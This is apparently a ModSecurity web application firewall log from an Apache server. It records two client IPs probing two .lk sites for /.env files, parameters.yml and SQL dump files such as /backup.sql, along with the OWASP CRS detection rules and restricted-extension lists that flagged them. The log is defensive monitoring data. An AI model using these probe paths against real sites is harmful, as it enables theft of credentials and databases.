[Fri Jul 17 08:29:11.438116 2026] [security2:error] [pid 1993574:tid 1993574] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jayantha.venee.lk"] [uri "/backup.sql"] [unique_id "almaf90t9Kb_MdNxrg6-6wAAAAM"]
[Fri Jul 17 08:29:11.438389 2026] [security2:error] [pid 1993574:tid 1993574] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jayantha.venee.lk"] [uri "/backup.sql"] [unique_id "almaf90t9Kb_MdNxrg6-6wAAAAM"]
[Fri Jul 17 08:29:11.439249 2026] [security2:error] [pid 2013809:tid 2013809] [client 32.197.218.105:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jayantha.venee.lk"] [uri "/.env.production"] [unique_id "almaf0gVnBK6wAv37w6o7wAAABQ"]
[Fri Jul 17 08:29:11.439500 2026] [security2:error] [pid 2013809:tid 2013809] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jayantha.venee.lk"] [uri "/.env.production"] [unique_id "almaf0gVnBK6wAv37w6o7wAAABQ"]
[Fri Jul 17 08:29:11.439819 2026] [security2:error] [pid 2013809:tid 2013809] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jayantha.venee.lk"] [uri "/.env.production"] [unique_id "almaf0gVnBK6wAv37w6o7wAAABQ"]
[Fri Jul 17 08:29:11.541206 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 08:29:11.656178 2026] [security2:error] [pid 2014279:tid 2014279] [client 32.197.218.105:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jayantha.venee.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaf0z_ZDvgWqiMlMbLgAAAAB0"]
[Fri Jul 17 08:29:11.656446 2026] [security2:error] [pid 2014279:tid 2014279] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jayantha.venee.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaf0z_ZDvgWqiMlMbLgAAAAB0"]
[Fri Jul 17 08:29:11.656744 2026] [security2:error] [pid 2014279:tid 2014279] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jayantha.venee.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaf0z_ZDvgWqiMlMbLgAAAAB0"]
[Fri Jul 17 08:29:11.657088 2026] [security2:error] [pid 1996894:tid 1996894] [client 32.197.218.105:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jayantha.venee.lk"] [uri "/.env.local"] [unique_id "almaf44Wmn5zySdNNkAlAAAAABM"]
[Fri Jul 17 08:29:11.657330 2026] [security2:error] [pid 1996894:tid 1996894] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jayantha.venee.lk"] [uri "/.env.local"] [unique_id "almaf44Wmn5zySdNNkAlAAAAABM"]
[Fri Jul 17 08:29:11.657606 2026] [security2:error] [pid 1996894:tid 1996894] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jayantha.venee.lk"] [uri "/.env.local"] [unique_id "almaf44Wmn5zySdNNkAlAAAAABM"]
[Fri Jul 17 08:29:11.728019 2026] [security2:error] [pid 2013809:tid 2013809] [client 32.197.218.105:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jayantha.venee.lk"] [uri "/.env.backup"] [unique_id "almaf0gVnBK6wAv37w6o8AAAABQ"]
[Fri Jul 17 08:29:11.728243 2026] [security2:error] [pid 2013809:tid 2013809] [client 32.197.218.105:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jayantha.venee.lk"] [uri "/.env.backup"] [unique_id "almaf0gVnBK6wAv37w6o8AAAABQ"]
[Fri Jul 17 08:29:11.728443 2026] [security2:error] [pid 2013809:tid 2013809] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jayantha.venee.lk"] [uri "/.env.backup"] [unique_id "almaf0gVnBK6wAv37w6o8AAAABQ"]
[Fri Jul 17 08:29:11.728702 2026] [security2:error] [pid 2013809:tid 2013809] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jayantha.venee.lk"] [uri "/.env.backup"] [unique_id "almaf0gVnBK6wAv37w6o8AAAABQ"]
[Fri Jul 17 08:29:12.049984 2026] [security2:error] [pid 1993574:tid 1993574] [client 32.197.218.105:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jayantha.venee.lk"] [uri "/.env.dev"] [unique_id "almagN0t9Kb_MdNxrg6-7QAAAAM"]
[Fri Jul 17 08:29:12.050272 2026] [security2:error] [pid 1993574:tid 1993574] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jayantha.venee.lk"] [uri "/.env.dev"] [unique_id "almagN0t9Kb_MdNxrg6-7QAAAAM"]
[Fri Jul 17 08:29:12.050575 2026] [security2:error] [pid 1993574:tid 1993574] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jayantha.venee.lk"] [uri "/.env.dev"] [unique_id "almagN0t9Kb_MdNxrg6-7QAAAAM"]
[Fri Jul 17 08:29:12.078205 2026] [security2:error] [pid 1993715:tid 1993715] [client 32.197.218.105:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "jayantha.venee.lk"] [uri "/.env.staging"] [unique_id "almagHRlmrtCoY_COpcitwAAAAg"]
[Fri Jul 17 08:29:12.078481 2026] [security2:error] [pid 1993715:tid 1993715] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jayantha.venee.lk"] [uri "/.env.staging"] [unique_id "almagHRlmrtCoY_COpcitwAAAAg"]
[Fri Jul 17 08:29:12.078845 2026] [security2:error] [pid 1993715:tid 1993715] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jayantha.venee.lk"] [uri "/.env.staging"] [unique_id "almagHRlmrtCoY_COpcitwAAAAg"]
[Fri Jul 17 08:29:12.107109 2026] [security2:error] [pid 1993573:tid 1993573] [client 32.197.218.105:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "jayantha.venee.lk"] [uri "/database.sql"] [unique_id "almagHt8zp89pALg8Q5lNQAAAA4"]
[Fri Jul 17 08:29:12.107504 2026] [security2:error] [pid 1993573:tid 1993573] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "jayantha.venee.lk"] [uri "/database.sql"] [unique_id "almagHt8zp89pALg8Q5lNQAAAA4"]
[Fri Jul 17 08:29:12.107842 2026] [security2:error] [pid 1993573:tid 1993573] [client 32.197.218.105:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "jayantha.venee.lk"] [uri "/database.sql"] [unique_id "almagHt8zp89pALg8Q5lNQAAAA4"]
[Fri Jul 17 08:29:12.509680 2026] [security2:error] [pid 1994956:tid 1994956] [client 54.144.124.143:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ahavafoundation.lk"] [uri "/.env"] [unique_id "almagAG5-NXx3Mem1QgOLQAAAA8"]
[Fri Jul 17 08:29:12.509941 2026] [security2:error] [pid 1994956:tid 1994956] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ahavafoundation.lk"] [uri "/.env"] [unique_id "almagAG5-NXx3Mem1QgOLQAAAA8"]
[Fri Jul 17 08:29:12.516077 2026] [security2:error] [pid 2014279:tid 2014279] [client 54.144.124.143:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ahavafoundation.lk"] [uri "/.env.local"] [unique_id "almagEz_ZDvgWqiMlMbLggAAAB0"]
[Fri Jul 17 08:29:12.516351 2026] [security2:error] [pid 2014279:tid 2014279] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ahavafoundation.lk"] [uri "/.env.local"] [unique_id "almagEz_ZDvgWqiMlMbLggAAAB0"]
[Fri Jul 17 08:29:12.518113 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.144.124.143:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ahavafoundation.lk"] [uri "/dump.sql"] [unique_id "almagARRrtuZqNDDSqWs6wAAABo"]
[Fri Jul 17 08:29:12.518503 2026] [security2:error] [pid 2013830:tid 2013830] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ahavafoundation.lk"] [uri "/dump.sql"] [unique_id "almagARRrtuZqNDDSqWs6wAAABo"]
[Fri Jul 17 08:29:12.583402 2026] [security2:error] [pid 1993574:tid 1993574] [client 54.144.124.143:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ahavafoundation.lk"] [uri "/data.sql"] [unique_id "almagN0t9Kb_MdNxrg6-7gAAAAM"]
[Fri Jul 17 08:29:12.583815 2026] [security2:error] [pid 1993574:tid 1993574] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ahavafoundation.lk"] [uri "/data.sql"] [unique_id "almagN0t9Kb_MdNxrg6-7gAAAAM"]
[Fri Jul 17 08:29:12.592380 2026] [security2:error] [pid 1993584:tid 1993584] [client 54.144.124.143:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "ahavafoundation.lk"] [uri "/backup.sql"] [unique_id "almagFxP5-SsqbGuGB2lUAAAAAA"]
[Fri Jul 17 08:29:12.592796 2026] [security2:error] [pid 1993584:tid 1993584] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ahavafoundation.lk"] [uri "/backup.sql"] [unique_id "almagFxP5-SsqbGuGB2lUAAAAAA"]
[Fri Jul 17 08:29:12.613118 2026] [security2:error] [pid 1993573:tid 1993573] [client 54.144.124.143:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "ahavafoundation.lk"] [uri "/.env.production"] [unique_id "almagHt8zp89pALg8Q5lNgAAAA4"]
[Fri Jul 17 08:29:12.613367 2026] [security2:error] [pid 1993573:tid 1993573] [client 54.144.124.143:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "ahavafoundation.lk"] [uri "/.env.production"] [unique_id "almagHt8zp89pALg8Q5lNgAAAA4"]
